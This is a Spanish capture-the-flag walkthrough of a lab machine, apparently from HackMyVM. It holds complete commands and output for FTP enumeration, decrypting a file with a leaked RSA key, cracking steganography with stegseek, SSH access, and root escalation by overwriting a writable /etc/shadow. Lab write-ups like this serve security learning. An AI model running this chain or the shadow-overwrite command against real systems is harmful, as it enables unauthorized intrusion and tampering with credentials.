Enumeración de servicios
El escaneo identifica FTP, SSH y HTTP. El hallazgo principal es que FTP acepta acceso anónimo y expone material criptográfico junto con una lista de posibles usuarios:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.146
❯ nmap -sCV -p21,22,80 -oN 02-targeted.txt 192.168.1.146
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-04 17:51 -04
Nmap scan report for 192.168.1.146
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx 1 0 0 435 Aug 02 2021 id_rsa [NSE: writeable]
| -rwxrwxrwx 1 1000 1000 1679 Aug 02 2021 id_rsa.pem [NSE: writeable]
| -rwxrwxrwx 1 1000 1000 451 Aug 02 2021 id_rsa.pub [NSE: writeable]
|_-rwxrwxrwx 1 0 0 187 Aug 02 2021 users.txt [NSE: writeable]
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelRecuperación y descifrado del contenido expuesto
Entre los archivos del FTP, id_rsa.pem es una clave RSA privada válida. El código del sitio menciona el ciphertext h4ckb1tu5.enc y otra pista sobre un directorio:
key: h4ckb1tu5.enc;
<!-- l4nr3n, nice dir.-->Descargamos el .enc y usamos la clave privada expuesta para descifrarlo. El plaintext resultante no es una contraseña, sino una ruta web que amplía la superficie de enumeración:
❯ wget http://192.168.1.146/h4ckb1tu5.enc
❯ openssl rsautl -decrypt -inkey id_rsa.pem -in h4ckb1tu5.enc -out decoded_message.txt
❯ cat decoded_message.txt
/softyhackb4el7dshelldreddEsteganografía y acceso inicial
Enumeramos el subdirectorio, recuperamos una nueva clave SSH y analizamos logo.jpg. El contenido esteganográfico requiere una passphrase; stegseek usa la lista expuesta por FTP como diccionario y encuentra tanto la clave esteganográfica como el texto oculto:
❯ gobuster dir -u 'http://192.168.1.146/softyhackb4el7dshelldredd/' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/common.txt -x php,txt,html,jpg,jpeg,png,gif -r
...
/id_rsa (Status: 200) [Size: 1876]
...
❯ wget http://192.168.1.146/logo.jpg
❯ stegseek -wl users.txt logo.jpg
[i] Found passphrase: "cromiphi"
[i] Original filename: "toyou.txt".
[i] Extracting to "logo.jpg.out".
❯ cat logo.jpg.out
d4t4s3c#1El contenido extraído, d4t4s3c#1, no es la passphrase de la clave: la salida de stegseek identifica cromiphi como passphrase. Con ella autenticamos la id_rsa descargada como el usuario hmv:
❯ ssh hmv@192.168.1.146 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux hundred 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
...
hmv@hundred:~$Escalada mediante /etc/shadow escribible
Tras obtener la primera flag, verificamos los permisos de archivos críticos. /etc/shadow es escribible, una instancia de Writable Critical Files Privesc que permite reemplazar el hash de la contraseña de root:
hmv@hundred:/tmp/pwned$ ls -l /etc/shadow
-rwxrwx-wx 1 root shadow 963 Aug 2 2021 /etc/shadowopenssl passwd genera el hash correspondiente a 1234. Como no tenemos lectura sobre el archivo, sobrescribimos su contenido con una entrada mínima para root y después validamos la nueva contraseña mediante su:
hmv@hundred:/tmp/pwned$ openssl passwd 1234
wIFt/vsmQ5d5.
hmv@hundred:/tmp/pwned$ echo "root:wIFt/vsmQ5d5.:18893:0:99999:7:::" > /etc/shadow
hmv@hundred:/tmp/pwned$ su root
Password: 1234
root@hundred:/tmp/pwned#El prompt root@hundred confirma la escalada y permite recuperar la flag final.